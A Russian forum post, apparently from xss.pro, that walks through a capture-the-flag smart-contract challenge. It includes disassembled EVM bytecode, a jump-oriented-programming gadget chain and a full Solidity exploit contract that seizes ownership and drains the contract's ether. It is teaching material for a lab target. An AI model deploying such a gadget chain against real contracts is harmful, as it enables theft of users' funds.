fffff5d576e7357a4501ddfe92f46681b20a060001b821115611baa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f736967436865636b2f6d616c6c6561626c65000000000000000000000000000081525060200191505060405180910390fd5b601b811015611bba57601b810190505b838383839750975097509750505050509193509193565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cb257600a5460095410611c9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f76616c696461746550757263686173652f686172646361702d7265616368656481525060200191505060405180910390fd5b6009600081548092919060010191905055505b642e90edd0003a10611d0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120026023913960400191505060405180910390fd5b611d3934600b60009054906101000a90048015611f51021767ffffffffffffffff1663ffffffff16565b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dde576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611dea60008383611f02565b611dff816002546116cf90919063ffffffff16565b600281905550611e56816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b6000611f4983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160f565b905092915050565bfefe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636576616c69646174655075726368617365496d706c2f70757263686173652d63617045524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636576616c696461746550757263686173652f6761732d70726963652d746f6f2d6869676845524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202f6b4ad5c3d04c0cb2f974d1cec6bb6bde2404ff3b06700630e57218187a06c064736f6c6343000706003376616c69646174655075726368617365496d706c2f70757263686173652d636170
Примечание: Я сразу убрал байт-код конструктора, так что можете прямо так в дизассемблер и закидывать

И контракт Setup:
Код:
pragma solidity 0.7.6;

import "private/Challenge.sol";

interface ChallengeInterface is IERC20 {
    function buyTokens() external payable;
    
    function owner() external view returns (address);
}

contract Setup {
    ChallengeInterface public challenge;
    
    constructor() public payable {
        require(msg.value == 50 ether);
        
        challenge = ChallengeInterface(address(new Challenge(990, 1010)));
        challenge.buyTokens{value: msg.value}();
    }
    
    function isSolved() public view returns (bool) {
        return  challenge.owner() == 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD &&
                challenge.balanceOf(address(this)) == 0 &&
                address(challenge).balance == 0;
    }
}

А задача перед нами стоит не простая: Заставить isSolved() возвращать true! Для этого нам подребуется 3 вещи:
  1. Сделать адрес 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD владельцем задания
  2. Обнулить баланс контракта Setup
  3. Обнулить баланс задания
Вы спросите: "И как же нам этого добиться?", а ответом на ваш вопрос будет название задания - JOP!

Jump Oriented Programming
Если вы ранее занимались эксплуатацией чего-либо, вам должно быть знакомо понятие ROP. Если нет, то я поясню:
Return oriented programming - это техника эксплуатации, суть которой заключается в том что вы получаете контроль над стеком вызовов, а затем подбирая так называемые гаджеты, и выставляя их в нужной последовательности, заставляете программу делать то, что вам нужно.

Думаю понятно обяснил. Если нет то вот пример:
Допустим в программе есть место, где вы можете контролировать стек. Если в этом месте есть иструкция return, вы можете перейти по адресу, который лежит сверху на стеке. Этим адресом может выступать другая часть программы которая тоже заканчивается инструкцией ret. Таким образом вы опять перейдёте к нужному вам месту, и выполните некий нужный вам ряд иструкций идущий перед инструкцией ret. Собрав несколько таких ret "гаджетов", вы сможете выполнить действие, например вызвать функцию с нужными вам параметрами на стеке и в регистах.
Вот не плохая статья на habr, с простеньким примером экплуатации: https://habr.com/ru/post/255519/

Надеюсь теперь стало ясно.

В нашем случае, у нас вместо инструкции ret будет иструкция jmp. Что сути не меняет.

Выбираем цели
Сначала давайте определим логику, которую нам надо выполнить:

1 - Назначить владельцем 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD
Для этого нам понадобится функции transferOwnership и acceptOwnership. Точнее не сами функции, я лишь их части. Давайте взглянем:
Код:
function transferOwnership(var arg0, var arg1) {
    arg0 = msg.data[arg0:arg0 + 0x20] & 0xffffffffffffffffffffffffffffffffffffffff;
    
    if (msg.sender == storage[0x05] / 0x0100 ** 0x01 & 0xffffffffffffffffffffffffffffffffffffffff) {
        storage[0x06] = (arg0 & 0xffffffffffffffffffffffffffffffffffffffff) | (storage[0x06] & ~0xffffffffffffffffffffffffffffffffffffffff);
        return;
    } else {
        var temp0 = memory[0x40:0x60];
        memory[temp0:temp0 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp1 = temp0 + 0x04;
        var temp2 = temp1 + 0x20;
        memory[temp1:temp1 + 0x20] = temp2 - temp1;
        memory[temp2:temp2 + 0x20] = 0x1b;
        var temp3 = temp2 + 0x20;
        memory[temp3:temp3 + 0x20] = 0x7472616e736665724f776e6572736869702f6e6f742d6f776e65720000000000;
        var temp4 = memory[0x40:0x60];
        revert(memory[temp4:temp4 + (temp3 + 0x20) - temp4]);
    }
}

Так выглядить декомпилированная transferOwnership. Разобраться в её логике не трудно, она просто проверяет являемся ли мы действующий владельцем контракта(storage[0x05]), и если да, то назначает нового владельца(storage[0x06]).

Обойти проверку будет не трудно, так как мы сможем переходить сразу к любой инструкции контракта. В данном случае нас интересует следующий блок инструкций, он пишет в storage[0x06] и заканчивается инструкцией JUMP:
Код:
102A    5B  JUMPDEST
102B    80  DUP1
102C    60  PUSH1 0x06
102E    60  PUSH1 0x00
1030    61  PUSH2 0x0100
1033    0A  EXP
1034    81  DUP2
1035    54  SLOAD
1036    81  DUP2
1037    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
104C    02  MUL
104D    19  NOT
104E    16  AND
104F    90  SWAP1
1050    83  DUP4
1051    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
1066    16  AND
1067    02  MUL
1068    17  OR
1069    90  SWAP1
106A    55  SSTORE
106B    50  POP
106C    50  POP
106D    56  *JUMP

Запишем адрес 102A, как transfer_ownership

Теперь acceptOwnership:
Код:
function acceptOwnership() {
    if (msg.sender == storage[0x06] & 0xffffffffffffffffffffffffffffffffffffffff) {
        storage[0x05] = (storage[0x06] & 0xffffffffffffffffffffffffffffffffffffffff) * 0x0100 ** 0x01 | (storage[0x05] & ~(0xffffffffffffffffffffffffffffffffffffffff * 0x0100 ** 0x01));
        storage[0x06] = (storage[0x06] & ~0xffffffffffffffffffffffffffffffffffffffff) | 0x00;
        return;
    } else {
        var temp0 = memory[0x40:0x60];
        memory[temp0:temp0 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp1 = temp0 + 0x04;
        var temp2 = temp1 + 0x20;
        memory[temp1:temp1 + 0x20] = temp2 - temp1;
        memory[temp2:temp2 + 0x20] = 0x1e;
        var temp3 = temp2 + 0x20;
        memory[temp3:temp3 + 0x20] = 0x6163636570744f776e6572736869702f6e6f742d6e6578742d6f776e65720000;
        var temp4 = memory[0x40:0x60];
        revert(memory[temp4:temp4 + (temp3 + 0x20) - temp4]);
    }
}

Здесь присутствует проверка являемся ли мы новым владельцем. Её мы тоже спокойно минуем, прыгая сразу к нужному блоку инструкций:
Код:
0C4A    5B  JUMPDEST
0C4B    60  PUSH1 0x06
0C4D    60  PUSH1 0x00
0C4F    90  SWAP1
0C50    54  SLOAD
0C51    90  SWAP1
0C52    61  PUSH2 0x0100
0C55    0A  EXP
0C56    90  SWAP1
0C57    04  DIV
0C58    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0C6D    16  AND
0C6E    60  PUSH1 0x05
0C70    60  PUSH1 0x01
0C72    61  PUSH2 0x0100
0C75    0A  EXP
0C76    81  DUP2
0C77    54  SLOAD
0C78    81  DUP2
0C79    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0C8E    02  MUL
0C8F    19  NOT
0C90    16  AND
0C91    90  SWAP1
0C92    83  DUP4
0C93    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0CA8    16  AND
0CA9    02  MUL
0CAA    17  OR
0CAB    90  SWAP1
0CAC    55  SSTORE
0CAD    50  POP
0CAE    60  PUSH1 0x00
0CB0    60  PUSH1 0x06
0CB2    60  PUSH1 0x00
0CB4    61  PUSH2 0x0100
0CB7    0A  EXP
0CB8    81  DUP2
0CB9    54  SLOAD
0CBA    81  DUP2
0CBB    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0CD0    02  MUL
0CD1    19  NOT
0CD2    16  AND
0CD3    90  SWAP1
0CD4    83  DUP4
0CD5    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0CEA    16  AND
0CEB    02  MUL
0CEC    17  OR
0CED    90  SWAP1
0CEE    55  SSTORE
0CEF    50  POP
0CF0    56  *JUMP

Запишем адрес 0C4A, как accept_ownership

2 - Обнулить баланс контракта Setup
Обратимся к части фукнции sellTokens:
Код:
1757    5B  JUMPDEST
1758    60  PUSH1 0x00
175A    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
176F    16  AND
1770    82  DUP3
1771    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
1786    16  AND
1787    14  EQ
1788    15  ISZERO
1789    61  PUSH2 0x17dd
178C    57  *JUMPI

Запишем адресс 1757 как zero_setup

3 - Обнулить баланс задания
Для этого нам нужен следующий кусок функции sellTokens:
Код:
191B    5B  JUMPDEST
191C    60  PUSH1 0x00
191E    82  DUP3
191F    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
1934    16  AND
1935    82  DUP3
1936    60  PUSH1 0x40
1938    51  MLOAD
1939    80  DUP1
193A    60  PUSH1 0x00
193C    01  ADD
193D    90  SWAP1
193E    50  POP
193F    60  PUSH1 0x00
1941    60  PUSH1 0x40
1943    51  MLOAD
1944    80  DUP1
1945    83  DUP4
1946    03  SUB
1947    81  DUP2
1948    85  DUP6
1949    87  DUP8
194A    5A  GAS
194B    F1  CALL
194C    92  SWAP3
194D    50  POP
194E    50  POP
194F    50  POP
1950    3D  RETURNDATASIZE
1951    80  DUP1
1952    60  PUSH1 0x00
1954    81  DUP2
1955    14  EQ
1956    61  PUSH2 0x197b
1959    57  *JUMPI

Да, он заканчивается прыжком на 197B, вот этот адресс:
Код:
197B    5B  JUMPDEST
197C    60  PUSH1 0x60
197E    91  SWAP2
197F    50  POP
1980    5B  JUMPDEST
1981    50  POP
1982    50  POP
1983    90  SWAP1
1984    50  POP
1985    80  DUP1
1986    61  PUSH2 0x19f7
1989    57  *JUMPI

Он в свою очередь прыгнет на 19F7:
Код:
19F7    5B  JUMPDEST
19F8    50  POP
19F9    50  POP
19FA    50  POP
19FB    56  *JUMP

И вновь передаст упраление нам! Так что 191B - подходит, запишем этот адресс как zero_challenge

Точка входа
Точкой входа для нас станет функция buyTokens, а вернее часть dispatcher:
Код:
1D0F    5B  JUMPDEST
1D10    61  PUSH2 0x1d39
1D13    34  CALLVALUE
1D14    60  PUSH1 0x0b
1D16    60  PUSH1 0x00
1D18    90  SWAP1
1D19    54  SLOAD
1D1A    90  SWAP1
1D1B    61  PUSH2 0x0100
1D1E    0A  EXP
1D1F    90  SWAP1
1D20    04  DIV
1D21    80  DUP1
1D22    15  ISZERO
1D23    61  PUSH2 0x1f51
1D26    02  MUL
1D27    17  OR
1D28    67  PUSH8 0xffffffffffffffff
1D31    16  AND
1D32    63  PUSH4 0xffffffff
1D37    16  AND
1D38    56  *JUMP

Уникальность этого блока инструкций в том, что переход в конце будет сделан на значение из памяти: storage[0x0b]. Кроме того, в качетсве параметра будет передано msg.value, который мы контролируем. И что же нам это даёт? - спросите вы. Дело в том что в контракте существует следующая internal функция:
Код:
function func_0350(var arg0, var arg1) {
    arg0 = msg.data[arg0:arg0 + 0x20];
    storage[0x0b] = arg0;
}

Она записывает первый аргумент в storage[0x0b]. А обратится к ней, мы можем вызвав public функцию c идентификатором 0x27f83350:
Код:
} else if (var0 == 0x27f83350) {
    var1 = msg.value;

    if (var1) { revert(memory[0x00:0x00]); }

    var1 = 0x0366;
    var2 = 0x04;
    var3 = msg.data.length - var2;

    if (var3 < 0x20) { revert(memory[0x00:0x00]); }

    func_0350(var2, var3);
    stop();
}

Вот вам и точка входа!

Гаджеты

Для того чтобы уложить гаджеты должным образом, нам потребуются ещё несколько блоков инструкций которые переместят наши гаджеты из msg.data на стек, в нужном порядке.

Начнём с самого простого что нам пригодится - гаджет который будет прыгать на адресс с верхушки стека
Код:
1D39    5B    JUMPDEST
1D3A    56    *JUMP

Запишем 1D39 как jump_stack

Продолжим с простыми гаджетами. Теперь нам нужен гажет, который будет останавливать выполнение, чтобы не вызвать ошибки после выполнения нашего jop эксплойта:
Код:
084A    5B  JUMPDEST
084B    00  *STOP

Запишем 084A как stop

Нам осталось ещё 2 гаджета, и это пожалуй самая сложная для понимания часть статьи потому, что я буду объяснять как будет работать стек нашего эксплойта. Постараюсь объяснить максимально понятно:

Начнём с того, что нам нужен некий гаджет, который будет перемещать значения из msg.data на стек. На эту роль идеально подходит функция 19FC:
Код:
function func_19FC(var arg0) returns (var r0, var arg0, var r2, var r3) {
    r2 = 0x00;
    r3 = r2;
    var var2 = 0x00;
    var var3 = var2;
    var temp0 = arg0;
    var var4 = msg.data[temp0:temp0 + 0x20];
    var var5 = msg.data[temp0 + 0x20:temp0 + 0x20 + 0x20];
    var var6 = msg.data[temp0 + 0x40:temp0 + 0x40 + 0x20];
    var var7 = msg.data[temp0 + 0x60:temp0 + 0x60 + 0x20];

    if (var5 <= 0x00 << 0x00) {
        var temp11 = memory[0x40:0x60];
        memory[temp11:temp11 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp12 = temp11 + 0x04;
        var temp13 = temp12 + 0x20;
        memory[temp12:temp12 + 0x20] = temp13 - temp12;
        memory[temp13:temp13 + 0x20] = 0x12;
        var temp14 = temp13 + 0x20;
        memory[temp14:temp14 + 0x20] = 0x736967436865636b2f722d69732d7a65726f0000000000000000000000000000;
        var temp15 = memory[0x40:0x60];
        revert(memory[temp15:temp15 + (temp14 + 0x20) - temp15]);
    } else if (var6 <= 0x00 << 0x00) {
        var temp6 = memory[0x40:0x60];
        memory[temp6:temp6 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp7 = temp6 + 0x04;
        var temp8 = temp7 + 0x20;
        memory[temp7:temp7 + 0x20] = temp8 - temp7;
        memory[temp8:temp8 + 0x20] = 0x12;
        var temp9 = temp8 + 0x20;
        memory[temp9:temp9 + 0x20] = 0x736967436865636b2f732d69732d7a65726f0000000000000000000000000000;
        var temp10 = memory[0x40:0x60];
        revert(memory[temp10:temp10 + (temp9 + 0x20) - temp10]);
    } else if (var6 > 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 << 0x00) {
        var temp1 = memory[0x40:0x60];
        memory[temp1:temp1 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp2 = temp1 + 0x04;
        var temp3 = temp2 + 0x20;
        memory[temp2:temp2 + 0x20] = temp3 - temp2;
        memory[temp3:temp3 + 0x20] = 0x12;
        var temp4 = temp3 + 0x20;
        memory[temp4:temp4 + 0x20] = 0x736967436865636b2f6d616c6c6561626c650000000000000000000000000000;
        var temp5 = memory[0x40:0x60];
        revert(memory[temp5:temp5 + (temp4 + 0x20) - temp5]);
    } else if (var7 >= 0x1b) {
        // Нужное нам место
        r3 = var7;
        arg0 = var5;
        r2 = var6;
        r0 = var4;
        return r0, arg0, r2, r3;
    } else {
        r3 = var7 + 0x1b;
        arg0 = var5;
        r2 = var6;
        r0 = var4;
        return r0, arg0, r2, r3;
    }
}

Коротко о том, что делает данная функция: Принимает аргумент как смещение в msg.data и читает 4 значения на стек.
Все проверки, идущие до else if (var7 >= 0x1b), будут нами провалены что и приведёт нас к нужному нам месту.

Запишем 19FC как store_to_stack

Далее нам понадобится ещё один гаджет, он будет вызывать нашу фукнцию:
Код:
0CF1    5B  JUMPDEST
0CF2    60  PUSH1 0x00
0CF4    80  DUP1
0CF5    60  PUSH1 0x00
0CF7    80  DUP1
0CF8    61  PUSH2 0x0d00
0CFB    85  DUP6
0CFC    61  PUSH2 0x19fc
0CFF    56  *JUMP

Он вызовет нашу функцию с передавая ей в качестве аргумента stack[-1], а в качестве адреса возврата 0D00:
Код:
0D00    5B  JUMPDEST
0D01    93  SWAP4
0D02    50  POP
0D03    93  SWAP4
0D04    50  POP
0D05    93  SWAP4
0D06    50  POP
0D07    93  SWAP4
0D08    50  POP
0D09    91  SWAP2
0D0A    93  SWAP4
0D0B    50  POP
0D0C    91  SWAP2
0D0D    93  SWAP4
0D0E    56  *JUMP

0D00 же, просто будет прыгать на stack[-4]

Запишем 0CF1 как call_store_to_stack

Собираем стек
Итак, теперь давайте пошагово разберём как будет устроен наш стек. Следите за руками:

Из нашей точки входа, будем вызывать store_to_stack. Аргумент функция получит из msg.value, который в нашем случае будет 0x44. После того как store_to_stack выполнится, он вернётся на адрес 1D39, так как это адрес возврата, который оставила наша точка входа. Знакомый адрес, правда? Это наш гаджет jump_stack:
Код:
1D39    5B    JUMPDEST
1D3A    56    *JUMP

Он совершит прыжок на адрес с верхушки стека, и это будет последний, четвёртый из прочитаных только что store_to_stack элемент!

Четвёртым элементом будет наш call_store_to_stack, который опять вызовет наш store_to_stack, дабы переместить на стек следующие 4 элемента.

Тогда третим нужно будет пложить аргумент для store_to_stack - смещение к следующим 4 элементам из msg.data. Расчитывать его будем так:
Код:
изначальное смещение(0x44) + наши 4 уже прочитаных элемента

И так, после выполнения, как и писалось выше, store_to_stack вернётся к адресу 0D00, код по которому закончится прыжком на stack[-4]. А stack[-4] в нашем случае будет 2 элемент который мы прочитали изначально! Им будет гаджет jump_stack, который перейдёт к адресу с верхушки стека, то есть опять к 4 элементу, но уже из следующих прочитаных.

И так, после проведённых выше манипуляций, у нас на стеке останется первый элемент из первоначальных, и 4 которые мы только что прочитали. 4 следующих элемента будут уложены таким же образом, и так далее.

То есть наша полезная нагрузка будет состоять блоков по 4 элемента:
  1. Значение которое нужно поместить на стек
  2. jump_stack, нужный чтоб прыгнуть на 4 из элементов что будут прочитаны на этой итерации
  3. Аргумент для store_to_stack, в виде смещения к следующим 4 элементам
  4. call_store_to_stack
Надеюсь понятно объяснил. Если не получилось вникнуть - перечитайте.

Пишем эксплоит
Создадим контракт и импортируем setup:
Код:
pragma solidity 0.7.6;

import "Setup.sol";

contract exploit {

}

Добавим наши гаджеты:
Код:
uint constant transfer_ownership = 0x102a;
uint constant accept_ownership = 0x0c4a;
uint constant zero_setup = 0x1757;
uint constant zero_challenge = 0x191b;
uint constant jump_stack = 0x1d39;
uint constant stop = 0x084a;
uint constant store_to_stack = 0x19fc;
uint constant call_store_to_stack = 0x0cf1;

Создадим хранилище для полезной нагрузки:
Код:
uint[] data;

Напишем коструктор и получим интерфейс задачи:
Код:
constructor(Setup setup) public payable{
    ChallengeInterface challenge = setup.challenge();
}

Добавим фукнцию которая будет вводить 2,3 и 4 элементы:
Код:
function add_values(uint offset) private {
    data.push(jump_stack);
    data.push(offset);
    data.push(call_store_to_stack);
}

Теперь более подробно. Начнём с конца нашей jop цепочки, то есть с гаджета stop:
Код:
data.push(stop); //Добавляем гаджет
add_values(0x44 + 0x80 * 1); //Указываем смещение

Далее возьмёмся за передачу владения контрактом:
Код:
data.push(accept_ownership);
add_values(0x44 + 0x80 * 2);

data.push(uint(0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD));
add_values(0x44 + 0x80 * 3);

data.push(transfer_ownership);
add_values(0x44 + 0x80 * 4);
Примечание: Я сознательно не добавил в функцию add_values значение для инкремента, а просто решил указывать его каждый раз потому, что так нагляднее видно как считается смещение

Обнулим баланс задания, переведя все 50 eth себе:
Код:
data.push(uint(address(this)));
add_values(0x44 + 0x80 * 5);

data.push(address(challenge).balance + 0x44);
// Мы добавляем 0x44, так как позже при вызове точки входа мы передадим 0x44 как value(аргумент для store_to_stack)
add_values(0x44 + 0x80 * 6);

data.push(zero_challenge);
add_values(0x44 + 0x80 * 7);

И обнулим баланс setup:
Код:
data.push(uint(address(setup)));
add_values(0x44 + 0x80 * 8);

data.push(challenge.balanceOf(address(setup)));
add_values(0x44 + 0x80 * 9);

data.push(zero_setup);
add_values(0x44 + 0x80 * 10);

Наконец добавим 4 jump_stack в качестве последнего блока элементов. Они выступают как заглушка - последними будут прочитаны они, после чего будет совершён прыжок на последний из них, и заложенная в нагрузку логика начнёт выполнятся.
Код:
data.push(jump_stack);
data.push(jump_stack);
data.push(jump_stack);
data.push(jump_stack);

Наша нагрузка готова! Теперь займёмся вызывами:
Код:
// Готовим точку входа
address(challenge).call(abi.encodeWithSelector(0x27f83350, uint(store_to_stack)));

// Вызываем и передаём нашу нагрузку
address(challenge).call{value: 0x44}(abi.encodeWithSignature("buyTokens()", data));

Полный код эксплойта:
Код:
pragma solidity 0.7.6;

import "Setup.sol";

contract exploit {   
    uint[] data;
    
    uint constant transfer_ownership = 0x102a;
    uint constant accept_ownership = 0x0c4a;
    uint constant zero_setup = 0x1757;
    uint constant zero_challenge = 0x191b;
    uint constant jump_stack = 0x1d39;
    uint constant stop = 0x084a;
    uint constant store_to_stack = 0x19fc;
    uint constant call_store_to_stack = 0x0cf1;
    
    function add_values(uint offset) private {
        data.push(jump_stack);
        data.push(offset);
        data.push(call_store_to_stack);
    }
    
    constructor(Setup setup) public payable{
        ChallengeInterface challenge = setup.challenge();
        
        data.push(stop);
        add_values(0x44 + 0x80 * 1);
        
        data.push(accept_ownership);
        add_values(0x44 + 0x80 * 2);
        
        data.push(uint(0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD));
        add_values(0x44 + 0x80 * 3);
        
        data.push(transfer_ownership);
        add_values(0x44 + 0x80 * 4);
        
        data.push(uint(address(this)));
        add_values(0x44 + 0x80 * 5);
        
        data.push(address(challenge).balance + 0x44);
        add_values(0x44 + 0x80 * 6);
        
        data.push(zero_challenge);
        add_values(0x44 + 0x80 * 7);
        
        data.push(uint(address(setup)));
        add_values(0x44 + 0x80 * 8);
        
        data.push(challenge.balanceOf(address(setup)));
        add_values(0x44 + 0x80 * 9);
        
        data.push(zero_setup);
        add_values(0x44 + 0x80 * 10);
        
        data.push(jump_stack);
        data.push(jump_stack);
        data.push(jump_stack);
        data.push(jump_stack);
        
        address(challenge).call(abi.encodeWithSelector(0x27f83350, uint(store_to_stack)));
        address(challenge).call{value: 0x44}(abi.encodeWithSignature("buyTokens()", data));
    }
}

Тестируем
Настало время проверить эксплоит в действии! Развернём Setup:

13.png


Размещаем наш эксплоит:

14.png


И проверяем, решена ли задача:

15.png


Итоги
Время подвести итог. Как по мне, так тема эксплуатации смарт-контрактов очень обделена вниманием, и надеюсь кого-нибудь я этой статьёй заинтересовал. Если у вас будут какие-либо вопросы - не стесняйтесь мне писать.

В эту статью я вложил много времени, поэтому многие переводы которые я должен был сделать задержались, постараюсь закончить с ними по возможности быстро.

Azrv3l cпециально для xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх